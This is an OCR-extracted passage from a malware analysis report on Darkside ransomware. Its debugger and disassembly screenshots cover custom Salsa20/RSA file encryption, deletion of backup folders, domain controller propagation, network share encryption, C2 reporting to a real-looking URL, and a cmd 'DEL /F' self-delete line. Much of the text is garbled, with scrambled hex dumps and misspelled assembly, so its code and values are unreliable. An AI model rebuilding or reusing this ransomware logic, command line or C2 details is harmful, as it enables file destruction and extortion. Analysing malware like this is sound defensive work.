.text:884051E8 mov edx, [esi+3Ch]

Ltext:@84851EE adc [edi+38h], eax

text:B84851EE adc [edi+34h], ebx

Ltext:@84851F1 adc [edit+38h], ecx

Ltext:e84851F4 adc [edi+3Ch], edx

Ltext: 884851F7 mov eax, [esi+dih]

Ltewt:B84851FA mov ebx, [esit+ddh]

.text:884051FD mov ecx, [esi+48h]

.text: 88405268 mov edx, [esi+4Ch]

Ltext: 88485283 adc [edit+aBh], eax

text: 88485286 adc [edit+s4h], ebx

Ltext: 28485289 adc [edi+48h], ecx

Ltext:ea48528C adc [edi+d4Ch], edx

ctext: 8848528F mov eax, [esi+58h]

Ltewt: 88485212 mov ebx, [esi+54h]

Lfext: 88485215 mov ecx, [esi+58h]
The Salsa20 matrix is encrypted using the custom RSA implementation, as shown in figure
133:
Address | Hex ASCIT

027ACOA4 |95 16 3A BE|C3 2F 9B 1B|(AF C2 F6 62|66 A2 14 OB ..::e-ﬁ;,.-’ EdiTe.
D27ACOB4 | AC 9E 46 03 |CE 95 7D 62 (Bl 9C 43 BC|FF BB 36 62|-.F. }bi cmy»&b
027ACOC4 |04 AF 65 08|13 26 81 98(B3 3B 12 1E|EO CE 19 39|. E N .al.9
027ACOD4| 72 BF B4 41 |EA C5 3B CE(O5 &C 22 1D |&F 3F EC FF “ABA; I 1 .g7 1'-\'
027ACOE4| 2D EA 2F 5D |0F 86 SA ED|(9F CC AF 53 |7B 3D FB OE —E,.f_ Z'I I S{ 0.
027ACOF4|B6 EE E9 BC |79 72 34 OE|F4 19 2B AS |1E OF A9 56| Nidkyrd. 0. +%. .8V
027AC104| 25 D2 70 CA|F3 6D 42 46|72 13 BC GB|D5 EO 54 81 ‘;SCIFIEDTEIFr klflaT
027AC114|9A 08 DD F8|0F EF SC 42(D3 2B 80 40|6E 5F 60| ..¥e.1.B0+.8n_w’

There is a custom “hash” function applied to the above encryptlon result, which produces a

16-byte output:

Figure 133
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Address | Hex ASCII

027AC0OA4| 95 16 ZA BBE|C3 2F 9B 18|AF C9 F6 69|66 AZ 14 0B »A; Edife.

027ACOB4 | AC 9E 46 03 |CE 95 7D 62|Bl 9C 43 BC|FF BB 36 &2 }bi cmy»ﬁb

027ACOC4 |04 AF 65 08|13 26 81 98|B3 3B 12 1E|ED CE 19 39 ..&

027ACOD4| 72 BF B4 41|EA C5 3B CE|05 6C 22 1D |67 3F EC 77(r; A8A; ; 1L 97]w Figure 134
027ACOE4| 2D EA 2F 5D |07 86 5A ED|97 CC AF 53|7B 3D FB ODE —ef;..21.I s{=0.
027ACOF4|B6 EE E9 BC |79 72 34 DE|F4 19 2B A5 |1E OF A9 56| Tidkyr4.o.+¥. .8V

027AC104| 25 DZ 70 CA|F3 6D 42 46|72 13 8C GE|D5 EO 54 81|xbpEomBFr..kOaT.
027AC114|94 08 DD FB|0OF EF 9C 42|D3 2B 80 40|(6E 5F 77 60| ..Ye.7i.BO0+.En_w’

027AC124| A9 9A D7 EO|5A 20 2F 48|13 01 DS 70|C9 C8 AD EE|®.xaf /H..OpEE.7

The file content that will be encrypted is appended to the buffer that will be sent to the worker

threads:

Address | Hex

ASCII

027ACOA4L
D27ACOB4
DZ27ACOCH
027ACOD4
D27ACOE4
027ACOF4
027ACIO4
D27ACI14

95
AC
04
72
2D
B&
25

16
SE
AF
BF
EA
EE
D2

IA
46
65
B4
2F
ED
70

EE
03
08
41
1]
BC
cA
9A 08 DD F8

c3
CE
13
EA
o7
79
F3
OoF

2F
25
26
C5
56
72
&D
EF

9B
7D
81
3B
5A
34
42
o9C

18
62
98
CE
ED
0OE
46
4z

AF
Bl
E3
o5
a7
F4
72
D3

c9
S
3B
&C
cC
19
13
2B

F&
43
12
22
AF
2B
BC
50

69
BC
1E
D
53
AL
(=1:3
40

66
FF
ED
&7
7B
1E
D5
6E

AZ
EE
CE
3F
3D
OF
ED
5F

14
36
19
EC
FB
A9
54
77

0B
62
39
77
OE
56
81
60

..:a?} Edife.
.F.1.}bt.Cuys6h
&"};;9
4 AEA il 1L g7iw
'Ef]"21-1 sS{=il.
Niékvr4. 8. +¥, .8V
%bEEEmBFr..kﬁhT.
B.1.B0+.@n_w’

027ACI24 'A9 9A DF ED

5A

20

2F

48

13

o1

D5

70

c9

C8

AD EE

@.%aZ /H..OpEE.1

D27ACLZ4
DZ27ACI44
027ACIE4
D27ACIG64
0D27ACIT4
027AC1IEB4
D27AC1I94
D27ACIA4
0D27ACLE4
027ACICA

LB oC 72 739
73 69 5C 61

65 66 66 30
64 65 66 6C
74 74 62 6C
68 61 72 73
3B FD 7B 5C

L& 72 G5 74
66 32 5C 66
32 20 53 79

(15
GE
5C
61
7B
G5
66
30
6E

31
73
GE
GE
5C
74
31
20
&2

5C
69
&F
67
66
31
5C
54
6

S0 0g OF S0

{13
63
75
31
30
37
66
61
5C

62
70
69
30
5C
38
GE
68
66
3B

&9
&7
63
33
=15
20
69
&F
63
7D

64
31
&F
33
BE
£4
B6C
6D
68
7D

(3]
32
&D
7B
89
61
5C
61
&6l
oD

73
35
70
5C
6C
68
66
3B

5C
3z
61
66
5C
&F
63
7D

&l
5C
74
6F
115
&D
68
B

6E
a4
EC
6E
63
61
61
EC

Le l2 62 74
OA 7B 5C 63

{wrtf1yFhidishan Figure 135

siZansicpgl2s2id
ef 0 nouicompat?,
deflanglo33{"fon
tth1{\ForFnil\Fc
harsetl7s Tahoma
s HIAFIAZFmi 1A Fcha
rsetd Tahomaj; }{%
faxfnilsfcharset

2 symbol; }}..{f\c

The Salsa20 matrix is also added to the buffer, and it will be utilized by the worker threads to

encrypt the files:

aE—

F8
04 01 00

34

04 01

00 00

89 EC FF FF

push dword ptr ==
lea eax,dword pur

push eax
Tea eax,dword ptr ds:
push eax
lea eax,dword ptr ds
push eax

tfebp-8J
is 1 [ebx+

:l‘“ Idarkside. 404C84

: [ebxs

104]
104]

: [ebu+34]

I w =

darkside, 00404084

STexTi00405FCE darkside.exe: $5FCE #53C6

$0umpl U Dump2 EW0ump3 B Dump4 YW Dump S
| Address | Hex

027AC064 T

027AC074|13 F8 F1 58|0E 29 80 90|57 E2 32 AC BC 23 24 14
027ACO84 |00 00 00 00|00 00 DO 00|32 FD 52 72 EB 47 F5 F6|
027AC0O94 54_!!: EE DS 6CIAE 21 34 &
027ACOA4 (95 16 3A BB|C3 2F 98 1B |AF C9 F6 69|66 AZ 14 0B .
027ACOB4|AC 9E 46 03|CE 95 7D 62 |Bl1 9C 43 BC|FF BB 36 62
027ACOC4 |04 AF 65 0813 26 51 98|83 38 12 1E|E0 CE 19 39
027AC0D4 |72 BF B4 41 /EA C5 3B CE|05 6C 22 1D|67 3F 77 r'
027ACOE4 (2D EA 2F 5D |07 B6 5A ED |97 CC AF 53|78 3D FB DE
027ACOF4|B6 EE E9 BC |73 72 34 OE 2

027AC104(25 D2 70 CA|F3 6D 42 46|72 1 4
027AC114(9A 08 DD FB|OF EF 9C 42!D3 28 80 40|6E z
027AC124([A9 94 D7 EOISA 20 JF 48113 01 D5 7

027AC134 i SC 12 74166 31 5C 66

D2TACL44 |7 69 5C 61|6E 73 69 63

027AC154 |65 66 66 30|5C 6E 6F 75 ?

027AC164 Gi 65 66 6C |61 6E 67 31 5

D2TACLT 4 74 62 6C|7B 5C 66 30)5C 66 GE 65 6C 5C 66 63
027AC1a4 |68 61 72 73|65 74 31 37.38 20 54 6168 GF 6D 61

11\2".. r4,0.
sﬁuEgmBF . . kO&T.

#® watch 1

Ir=] Locals

2ZyRr &GO
m fﬂl‘n T£!0 r4l

- F 1 ib: ca v65
6 yta

0] ..¥0.1.80+.@n_w
©.xaz /M. .OpEE. i

{yrtfah \Fhidisian
si\ansicpgl252'd
effonouicompat’,
deflang1033{'fon
tebi{\fo\Fnil\fc
harseti78 Tahoma

;?%m

Thread activity — sub_405E7C (File encryption)

Default (stecall) ~ [5 F2]0] unk
> 55 tesp) oz7acosd

|2: [esp+4] 027AC134

| 3: FESDTS( 027AC134
| 4: [esp+C] 00003459
H [espﬂ.cﬂ DOODUMD

027AC0O64 |

0471FF6E D27AC134
- IBQ?I.FFSC 027ACL34
CI(?:I.FF!O 00003459

s F76A78654 | return to kernel32.76a75654 from 777

00000000
7EATEE30| kernel32. BaseThr eadIni tThunk
BCBAFSZ21

4 RD471FFDC

77044A77
00000000
ED553528

return to ntdll.77044A77 from

4 | 00000000
3 | 00000000

C | 00000000

The file content is encrypted using a custom Salsa20 implementation and the ciphertext

overwrites the plaintext in the buffer:
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Address

Hex

0D27ACOG4
D27ACOT 4
DZ27ACOB4
027ACOS4
D27ACOAS
027ACOB4
D27ACOCH
D27ACODS
027ACOES
D27ACOF4
DZ27ACI1O4
027AC114
D27AC1Z4
D27AC134
D27ACLI44
DZ27ACISS
D27AC164
D27ACLT 4
DZ27AC1E4

CF
13
D2
45

cE
Fg
0o
4F

3A
Fl
oo
oF

B9
5B
00
66

AD
QOE
oo
E5S

9F
29
oo
FA

53
80
oo
17

EB
an
oo
54

57
3z
3C

E2
FD
E&

32
52
D5

£4 B2 FD 72

AC
72
&

o4
BC
EB
AE

F9
23
47
21

62
2A
F5
34

41
14

F& |

&6C

25
AC
o4
72
2D
B&
25
o4

16
9E
AF
BF
EA
EE
D2
08

3A
46
&5
B4
2F
ED
70
DD

BB
03
08
41
ED
BC
CA
F8

c3
CE
13
EA
o7
79
F3
OF

ZF
95
26
C5
86
r2
6D
EF

2B
D
81
3B
LA
34
42
aC

18
62
98
CE
ED
0E
46
42

AF
BL
B3
05
97
F4
72
D3

ca
oC
3B
6
cC
192
13
2B

F&
43
12
22
AF
2B
BC
80

69
BC
1E
D
53
AL
GE
40

66
FF
EO
67
7B
1E
DS
E

AZ
BE
CE
3F
3D
OF
EOQ
5F

14
1
19
EC
FB
AD
£4
77

0B
62
39
7
OE
56
81
&0

A9

94

e

EQ

5A

20

2F

45

13

01

D5

70

(o]

(o]

AD

EE

Ce
22
20
8L
36
05

o4
c4
54
62
9F
E7

10
&4
6C
88
F9
AZ

49
E3
CE
92
25
A4

AL
76
o1
Al
FA

32

c4
50
50
47
22
FC

]
A3
AT
38
]
AR

BD
DE
o1
o2
31
FE

DF
ED
03
5D
23

T

AB 9C T8

64

i6e

B4

83 AL D6
C4 36 EA

TA

17

76

59
F1
FC
BA
6A
F1

43
27
4E
19
B3
62

ED
09
2F
3F
1B
Ce

05
D&
o9
o8
85
FD

ASCII

IE:® .SE.,ys.UbA

LB, }..wnzﬂﬁ#*
....... 2yR r EGOO
E0. fou. T<=015 141
vetelS. . EOITH..
-.F. 1. be. Cuyseb
e L R
ri Agd;T.1". 071w
-&/]..21.1" 5{=i.
N1 &yra. b, +¥. 8V
sipEOmBFT. . kOET.
.V@. .80+, an_w’
8. x4z fH..GpEE i
£, I¥A[%. ~tYCa
"AdavPiDE Lxnt L0
.1Iﬁ.§.1d5_unfu
S v
6.U.0..1]AGE]". .
LCEHEZE ~, Z . vhbEY

A snippet of the custom implementation is presented below:

Figure 137

47/55



il e =

text
text
Ldext
dext
~text
Text
text
text
text
text
Ldext
text
text
Text
text
Ltext
text
text
Ldext
dext
text
Text
text
text
text
text
Ldext
dext
text
tText
text
text
text
text
Ldext
dext
text
tText
text
text
text
text
Ldext
text
text
Text
text
Ltext
text
text

rBE484D6F
rBa4a4DeF
r@B4a4DeF
188484071
rBa4a4074
1 Be4a4D7y
rBe4a4D7A
reedadnTC
1 BE48407E
rBa4a4081
1 B8484083
18484085
rea4a4087
1 Ba4a4D8A
ra4a4Dac
rBeda4D8E
rBada4008
rBE4a4093
1 Ba4a4095
rBa4a4097
rBa4a4099
rBa4a409C
1 Be4a4D9E
rBedadDAB
1 BE484DA3
1 BB484DAG
1 BE484DA0
Ba4a4DAC
:BB4a4DAF
1 Ba4a4DE2
1 Be4a4DB5
rBed4a4DEB7
1 B84840B9
rBa4a4DBC
1 BB484DBE
reada4DCa
rea4a4DC2
1 Ba4a4DCs
ree4a4DCy
reeda4DCo
:B84840CE
rBa4a4DCE
rBada4DDe
rBa4a4002
rBa4a4004
1 Ba4a4007
Ba4a4D0o
Eeda4 D0
1 Ba48400F
rBB4a4DE2

The encrypted content is written to the initial file, followed by the encrypted Salsa20 matrix
and the hash value, as displayed in the following figures:

loc_4@84DEF:

mov eax, [edi]

mov ebx, [edi+léh]
mov ecx, [edi+2eh]
mov edx, [edi+38h]
Mo esl, eax

add esi, edx

rol esi, 7

xor ebx, esi

mow esi, ebx

add ezi, eax

rol esi, 9

Xor ecx, esi

Mo esl, BCx

add esi, ebx

rol esi, 8Dh

Nor edw, esi

mow esi, edx

add esi, ecx

rol esi, 12h

Xor eax, esi

mow [edi], eax

mow [edi+l@h], ebx
mow [edit+28h], ecx
mow [edi+3Bh], edx
mov eax, [edi+lah]
mov ebx, [edi+24h]
mov ecx, [edi+34h]
mov edx, [edi+d]
Mo esl, eax

add esi, edx

rol esi, 7

Nor ebx, esi

Mo esi, ebx

add ezi, eax

rol esi, 9

Xor ecx, esi

Mo esl, BCx

add esi, ebx

rol esi, 8Dh

xor edw, esi

mow esi, edx

add esi, ecx

rol esi, 12h

Xor eax, esi

mowv [edit+1l4h], eax
mow [edi+24h], ebx
mow [edi+34h], ecx
mow [edi+a], edx

Figure 138
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00406016 ﬁlush eax

ea eax,dword ptr ss:febp-3)
push aword a1

us| rd ptr ss: -

?ea eax,dword ptr !:??ehxﬂmj
push eax

73 2C push dword ptr ds: eb:n.i':c]
5 30 3 = - i lcawriter

o
45 F8
0

75 F8
83 04 01 00 00
o

iles

027AC134
00003459
| D471FF78
S Text: 00406028 darkside.exe: $60258 #5428 | 0] 027AC030

$oumps @ wathi  Irellocals ) Stxt

00003459
027ACO30
0471FF94
[76A78654| return to kernel32.76A78654 from 777
00000000

76AT8630| kernel32.BaseThreadIni tThunk
BCBAF521
047 LFFDC
[77044A77 | return to ntd11.77044a77 from 777

00000000
ED553528

(]-i 1FFA4
O471FFAR
1 | A& 0471FFAC | noo00000)
7 'y:ﬁ-a.i;?ﬁiu'sﬁ 047 1FFE0 || 00000000 |

XUy . 7 00000000
8| |%Ca®:£. _}iE I ] Peieriar] bovesennd]

®|| DO40E08D Sﬂ eax

: eax,dword ptr ss:febp-53
: s eax
i ||au 90
| . ea eax,dword ptr ds:[sbx+74])
1 . push eax
i e oos08098 sh dword ptr ds:[ebx+2C]
|FE—s <awriterileJIE I v
i .
\ >
x

dword ptr [DD420730 <darkside.&Writeriles]=<kernel3z.Writeriles

- Text:0040609E darkside.exe: $609E #549E

Irellocals 4 Struct

@oump2 @oump3  @oumps  WHoumps BB watchi

return to kernel3l.76AT8654 from 777

kernel3z.BaseThreadInitThunk

srBAEEa

Figure 140
This last idea concludes our analysis of this thread. We continue to analyze the main thread.

If the current directory contains “backup”, then the malware deletes it:

o || ooso6ecs
® || 00S063CA

. Text:004069CE darkside.exe: §69CE #5DCB

@oumnl  Poump2  Poump3 BYDump4

- text:88486A23 loc_4@6A23:
.text:88486A23 push [ebp+arg_8]
~text:@0406426 call RemoveDirectoryw

Figure 141
The main thread sends the buffer described above (which includes file content to be
encrypted etc.) to the worker threads by calling the PostQueuedCompletionStatus routine:

RS/IM_E 3 LEMPLY) A8/ IW_3 3 LEMPLY)

Pk o ﬁ:ﬂ 2 X87TW_4 3 (Empty) X87TW.S 3 (Empty)
00406£53 00 push 0 XB7TW_6 3 (Empty) x87TW_7 3 (Empty)
00406F 35 35 00 push dword ptr ﬁs. 420a18]

4 B 15 00 vord <dPostQueuedCompletionstatu xBTStatusword 0000
OD40EFAL 00 sh 0 XB7SW_B 0 x87SW.C3 0 x875wW C2 O
DO406FAS 00 push 0 xB7SW_C1 O XB7SW_CO O XxB7SW_ES O
O0406FAS o0 push o x87SW_SF O xB7SW_P O x875W_U (1]

H DO406FAT 35 1B DA 42
00406FAD 15 50 OF 42

dword ptr ds:[420A18]
dword prr ds:

88
iuLIET 2

~ (s [#]] unock

espra
25

es 00000000
.LeXT:00406F98 darkside.exe: $67F98 #6398 eliaer Sty

I!lnunpl $oup2 Hoump3  WMDump4  UHoumps @ watchi  Iellocls Y stuct

Flgure 142

We’'ve also identified a function that we believe it's used to propagate the malware to domain
controllers (we didn’t have one in our environment). It calls functions such as
DsGetDcNameW, DsGetDcOpenW and DsGetDcNextW:
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M=

text:

-text:
text:
text:
-text:
-text:
-text:
-text:
Text:
-text:

88487F46 lea
B8487F49 push eax
aa487F44 push e
B8487F4C push
B8487F4E push
B8487F58 push
B8487F52 push
Be487F54 call DsGetDcNameld
Ba4B7F5A test eax, eax
BB487F5C jnz loc_4@82F2

[ s B s R v

eax, [ebptvar_34]

]

il s

Jgexteed4airFo2
Jext:eed487Fes
JgexteedairFob
Jgexteed4airT2
Cext:eadavrET9
JextieedairEIC
JgexteedairIF
Jextieadairs2
Jgextaed4aira3
Jgexteed4airaes
Jextieedairsy
Jextaed4airas
JgexteedairFaE
Jgext:eeda87FaD
Jgext:eedavroe
Jextee4a7FI6
Jextae4airas

lea
Mo
Mo
Mo
Mo
Mo
lea
push
push
push
push
push
push
push
call
test
jnz

ecx, [ebptvar_88]
dword ptr [ecx], SC885Ch

dword ptr [ecx+4], 738825h

dword ptr [ecx+8], S5Ch ;
edi, [ebptarg_8]
ecx, [ebptvar_34]
eax, [ebp+var_18]
eax

@

@

@

@

2

dword ptr [ecx+1Ch]
DsGetDcOpeni

eax, eax
loc_4@801A

Figure 143

Darkside enumerates all network shares using the NetShareEnum API and encrypts each
one of them by the main encryption routine described so far:

bl et 5=

ext:@ed487FIE

Ltext:88487F9E loc_487F9E:
Ltext:88487FIE lea eax, [ebpt+P]
Jtext:@88487FAL push eax
Ltext:B8487FA2 push 8
Jtext:@8487FAL push @
Jtext:88487FAE push [ebp+var_l1@]
Ltext:88487FA9 call DsGetDcNexth
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ol s =]

text:08407E27 |
Ltext:BedavE2Y
.text:8487E27 ; Attributes: bp-based frame
Ltext:eed4avERZT
Ltext:88487E27 sub_ 48FE27 proc near
Ltext:8a4a7EZY
Ltext:@a487E27 arg_@= dword ptr
Ltext:eed487E2T
Ltext:B8487E27 push ebp
.text:88487E28 mov ebp, esp
Ltext:Be487E2A mov ebx, [ebptarg_®]
.text:88407E2D cmp dword ptr [ebx], @
Ltext:Ba487ESR jz short loc_487E39
Y
FIE
Ltext:BB487E32 push dword ptr [ebx] ; ExistingTokenHandle
text:@8487E34 call sub 481871
i Y
P
Sfext:08487ES0
Ltext:@8487E39 loc 4BVE3O:
Ltext:88487E39 push dword ptr [ebx+1Ch]
Ltext:@8487E3C push dword ptr [ebx+18h]
Ltext:@8487E3F push dword ptr [ebx+l4h]
Ltext:Ba487E42 push dword ptr [ebx+l8h]
Ltext:B8487E4AS push dword ptr [ebx+8Ch]
Ltext:80487E48 push dword ptr [ebx+3]
text:80487E4B push dword ptr [ebxt+d]
-text:08407E4AE call NetShareEnum
.text:@8487E54 pop ebp
Ltext:88487ESS retn 4
Ltext:88487ES5 sub_487E27 endp
Lext:ea487ESS

Thread activity — sub_4096A4

The following JSON is decrypted by the thread:

Address

Hex

ASCII

026C7 9A0
026C79BO
026CF9CO
026C790D0
026C79ED
026C7IF0
026C7ADD

7B OD DA 22
75 69 64 22
2D BE 75 6D
63 2D 73 69
L2 G0 60 70
0OA 22 65 6C
22 25 75 ZE

&4
22
3A
65
GE
70
75

22
25
22
22
75
73
22

3A
73
25
3A
6D
65
o

22
22
75
22
22
&4
oA

25
2C
22
25
3A
2D
7D

73
oD
2C
73
22
741
oo

22
04
oD
22
25
82
AB

2C
22
oA
2C
75
=]
AB

oo
65
22
oo
22
&5
AB

oA
&E
65
oA
2C
22
AB

22
63
GE
22
o
3A
AR

[..mid s, ..
uid":"%ws",.."enc
—num®: "Eu®, o ten
o [l S R
skip-num™: "%u", .
"elapsed-time™:
UL HUT. L T e

The file opens the following registry key by calling RegCreateKeyExW:

Figure 144

Figure 145
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- - il MRS M_w 3 LEmMLY)  ASs IM_i 3 LYy
XB7TW_2 3 (Empty) x87TW_3 3 (Empty)
XBTTW_4 3 (Empty) x87TW_S 3 (EmpTy)
XB7TW_6 3 (Empty) x87TW_7 3 (Empty)

push o x87Statusword 0000
nush 0 XB7SW_BE O XB7SW.C3 0 xB7SWCZ ©
push o XBTSW_C1 O XB7SW_CO O XBTSW_ES O
push dword ptr ss:febp-150 XB7SW_SF 0 XB7SW_P 0 XS7TSW_U ©
push ECIODDDOZ

O0408EAL nnsh eax

Tea m.Mrl‘l ptr ss:febp-sl

45 FB

o0 pus|
19 01 02 00 push 20115
0o

S8sssssnsnen

.TexT:00408EBE darkside.exe:$BEBE #8288

$oump2  @oump3  Woump4

45 Dump 5 ellocals 4 Struct

&8 watch 1

Flgure 146
The Product ID is retrieved again by calling the RegQueryValueExW function:

ush eu et RoSAIM_% 3 LEMULY ) RBSAN_S 3 LERLY )
ea eax,dword ptr ss‘lebp o« XBTTW_6 3 (Empty) xB7TW_7 3 (Empty)
ush eax

?ea m mrd ptr ss:{febp-cj xB7statusword 0000

XB7SW_B O xB7SW.C3 0 x875W.C2 O
XE7SW_C1 0 XB7SW.CO 0 XB7SW_ES O
XB7SW_SF 0 xXB875W_P 0 xBTSW_U o

B5 &4 FF FF FF

DUS": dword
pus| rd ptr ss:
push dword ptr ss:febp

. Text:00408EEE darkside.exe: $BEEE #B2EE

Poump2  @Dump3 N Dump 4

8 Dump 5

@& watch 1

Flgure 147
The machine GUID is extracted from the registry and represents a unique identifier for the

machine:

| @] D0401E4D S0 sh eax T AT e S
i e || 00401E4E 8D 45 FC Elmu eax,dword ptr ss:febp-4) i:m—f : (E."Ey) x:m ; (Empty)
i | oosoiEs 50 nus gax — (Empty)  X87TW.S 3 (Empty)
{ ol oos01es2 A 00 push XBTTW_6 3 (Empty) x87TW_7 3 (Empty)
[ 68 19 01 02 OO push 20119
6A 00 push 0 xB75tatusword 0000
6A 00 XB7SW_B O xBFSW L3 O xB7SW L2 O
DO401E5D €A 00 XB7SW_Cl O xB7SW C0O 0O xB7SW_ES O
DO401ESF H
D0401E60 68

= s E]00un
espt4] D26335C0 L"SOFTWARE\\M1cCrosofT\\Crys
esp+8] 00000000
. TeXT:00401E6S darkside.exe: S1E6S #1265
Woump1  PHpump2  Whpump3  YMDump4  Woumps @B watchi

el Locals 47 Struct

00
i1 00 ] 001
00 00 00
00 00 00 00|00 00 0O 00 00 00 00 00| cvevsnnss
UODDDDUOODDDDO 00 00 DO DO(00D 00 00 00| .. nennnnnnnns

A T o ey s o mmny

XB7TW_6 3 (Empty) *8TTW.7 3 (

50
80 85 70 FF FF FF

x87statusword 0000

X87SW_B O xB7SW L3 0 xB875W.C2 O
XBTSW L1 0 xB7SW L0 O xB87SWES O
XBTSW_SF 0 XB7SW_P 0 XB7SWU O

.text:D0401EAZ darkside.exe: §1EAZ #12A2

oumpz  Poump3  PDump 4

Woumps 4 watch 1

DG Shp’ L /igvop’

Flgure 149

After the encryption finishes, the malware sends encryption statistics to the C2 server, such
as: victim ID, uid, number of encrypted files, size of encrypted files, number of skipped files
and elapsed time. The final JSON structure looks like the following:
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Address
02640520
02640530
0Z264D540 | DA 22 F5 639
02640550 | 32 34 37 32
0264D560 | GE F5 6D 22
02640570 | F3 B9 FA BS
02640580

65 GE &3 2D | 2472634",.."enc-;
65 GE &3 2D num“:"z“,..“Enc—Flgure 150
2C 0D OA 22| size™:"0.00",.."

23 EB 59 70 22 2C 0D DA|skip-num™:"1",..
0264D530| 22 65 6C 61 65 22 3A 22| "elapsed-time™:™
0264D5A0| 37 37 32 2E 00 00 00 00| 772.562". . F.....

As already described so far regarding the C2 communication, the buffer is encrypted with a
custom algorithm and base64-encoded. The request sent to the C2 server is presented in
the next picture:

xB7Statusword 0000

53 push ebx

FF 75 ES8 push ss:febp-15] X8TSW_B O x875W.C3 0 x875W.C2 O

50 push XB7SW.C1 0 xB7SW.CO O xB7SW ES O

FF 75 FO push ebp- 10 XBTSW_SF 0 xB875W_P 0 X875W_U o

FF 75 F4 push ebp-Cll e e —n

FF 10 09 42 00 call dword ptr ds:[<aHttpSendRequestws] | v = T

=== Eiaats . m:(sm&c v |5 0] unk
= l—‘—lt'—]—.sp D00

- &HET| EQUESTW>]=<wininet. HETpSendREqUESTW> esp+4] 026CADCE L“\r\nAccept: */*\rnConne

esp+E] 00000063
esp+C] 0263ABCES "bT74c08e6=CTqBALPEIDIOPTH0

. TEexXT: 00409425 darkside.exe: §9425 #8825 esp+10] DOODOODEE

Weouot  oump2  WWOoump3  Woumps  WkDumps @ weth1  I-llocast P FOREOREAC] 026cancs | LU\r\naccept: =/e\r\nconnection: keep-alive\r\naccept-ncoding: g
Address | Hex ASCIT ] A bl

0263ABCS |82 37 34 63|30 38 65 363D 43 37 71|42 & C 70| B74c08e6=CTqBALD 0460FEB4 m: “B74c0826=CT7qBALPSIDIOPT0INLIXIVBVGEILIXWLITILYZ 3n4mlEUqOmVEgWS T4
0ZG3ABDS| 38 64 44 43|4F 70 74 34|30 39 4E 4 (31 58 31 76|SIDIOPTAOINLIXIY

0263ABES |42 76 47 45|49 31 58 57|31 6A 66 69(4C 59 7A 33|BVGEILMWLjfiLvz3
0263ABFS|6E 34 6D 31[45 S5 71 6F 6D 76 6B 67|77 35 54 34| némiEUqomVkOWST4
O263ACO8(6C 56 79 2B|45 2F 44 44 2 Z4(44 33 75 6C|Tvy+E/IDOBZTID3U]
0263AC1E(73 48 78 54|78 69 65 49|68 55 32 3B|6C 4F 56 31|sHxTxieIkuzslovi
0263AC28|76 53 57 69|50 52 44 50|78 38 59 6E |69 4A 46 4E|vSWiPRDPx8YNR1IFN
0263AC38(76 4A 54 6D |38 50 61 79|78 4F 39 77|32 68 34 50| vITmEPayxOwWZk4P
D263AC4B (44 52 77 77 |60 6B 64 74|58 36 6F 48|53 42 61 5A|DRwwmkdtXG0HSBAZ
D263AC58(41 50 73 66(4C 73 5A 55|34 4B 36 4D |56 41 37 48| APSTLSZUSKEMVATH
O2G3ACEE (72 65 4C 2F |62 75 73 77|68 67 39 51|45 59 47 30| yel/buswhg9QEYGD
D263ACT8(42 BE 6A 65|56 34 55 65|53 44 74 66|49 75 66 73|BnjevauesDtfIufs
0263ACE5(45 51 54 52|38 43 53 60|59 52 70 44|6E 41 32 4E|EQTRECSIYRpInAZN
0263ACH8 (62 37 54 45|30 26 39 61|66 62 64 62|34 39 30 30| b7TE=&9%afbdb4s=0
0263ACAS|36 30 37 62138 33 38 32|34 37 32 36|33 34 00 00| 6078382472634, .

Figure 15
If the self deletion feature would be enabled, Darkside would delete itself using

ShellExecuteW:

D460FEDD
0264D5A8
00000080
D02FAB3B
006F0038
006C0057
00640038
00510061
00540040
D04D0032
00000000

68 04 01 00 00 push 104 XB7SW_B 0 XB7SW.C3 O x87SW.C2 0
B0 85 E8 F9 FF FF lea eax,dword ptr ss:flebp-c15] [ebp-& XBTSW_C1 O XB7SW.CO O xB7SW_ES 0O
] push eax eax:al XB87SW_SF O NXEBTSW_P 1 XB7SW_U o
53 push ebx ebx:l - RS
FF 15 60 07 42 00 | €811 dword ptr ds:[<dGetEnvironmentvariablews] s —
== e s Fauilt (s %) =[5 00
1: [esp] 026B809CO L ComSpec
pTr [D0420760 <darkside.&GETENVironmentvar T ernels2.GELENy i ronmentvar Ew 2i [espsd] OOLIFISO &L"RTLps://rumahsia.com/Tves
3: [espr8] 00000104
) 4: [esp+C] 00340043
<Text: 00404044 darkside.exe: $404A #3448 5: [esp+10] 0055005C
Yt . o 026B03CO | L ComSpec”
Wowmpi  ESourp2  @oumps  @oumpd  @oues  @wahi  iellocas st __]oomm 0019950 | &L"htEps: //runahsia. com/tvepmuix®
sddrace | uav lacrrr [ 1 . | 0019F744 | 00000104
0040 o AGIIM_® 3 LEWMELY)  AGIW_3 3 LEmpLY )
~ Si 00 gﬂ:: o xB7TW_6 3 (Empty) XB7TW_7 3 (Empty)
. 8D B5 FO FB FF FF lea eax,dword ptr ss:febp-410§
. 50 push eax eax:L xB7Statusword 0020
8D 85 EB F9 FF FF lea eax,dword ptr s5:Qebp-518] X87TSW_B O Xx87SW_C3 0 xB7SW.C2 O
S0 push eax ean:L"” XB7SW. C1 0O xB7SW.CO O XB7SW_ES O
GA 00 push 0 XB7SW_P 1 x875W_U O
6A 00 push 0 P e e
FF 15 DO D8 42 00 | €a11 dword ptr ds:[<ashellexecutew:] | v =
i : s El0w
e e ! Fes 1 00000000
dword ptr (00420800 <darkside.&ShellEXecUTEW> 3z. ExeCUTens i ,53,4] 0000000
[espr8] 0019F950 L"C:\\WINDOWS\\System32\\ci
. 4: [es 0019FB5S L"/C DEL /F C:\\Users\\J
- Text: 00404005 darkside.exe: 54005 #34D5 4 {esg:.io] 00000000 4 A
Woupi  YHoup2  Houp3  ENoumps  WWoumps @ wathi  elocls  MshfGGTerTS4| 00000000
g e gy - o o 5  Jascir i N~ 0019F350 a.:c:\\umws\\s?stu:z\\“xe" =
0D019F950 |43) 00 34 00|5C 00 57 00|49 00 4E 00|44 00 4F 00|G..%.W.I.N.D.O. % mﬂﬂm L"/C DEL /F /g C:\\Usersy ‘\Desktop\\darkside.exe >> NUL
0019F960(57 00 53 00|5C 00 73 00|79 00 73 O 0 N S.¥.5.T. 8, BOBOO0OD
nntacarnlen an 33 anl3s an er anles anoen n an aE anlm 3 3% e m A

Figure 153
As we specified at the beginning of the analysis, the binary can run with different parameters:

« 1 parameter: filename — only this file will be encrypted

o 2 parameters: “-path” directory — only this directory will be encrypted

o 3 parameters: “-work” worker0 job0O-<Process |d> — this is spawned by the initial
process, already described
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A particular case is handled by the ransomware differently when it deals with a shortcut file
(.Ink file). Basically, the binary wants to extract the full path to the file from this link. It calls the
CoCreatelnstance API with the CLSID of {000214F9-0000-0000-C000-000000000046}
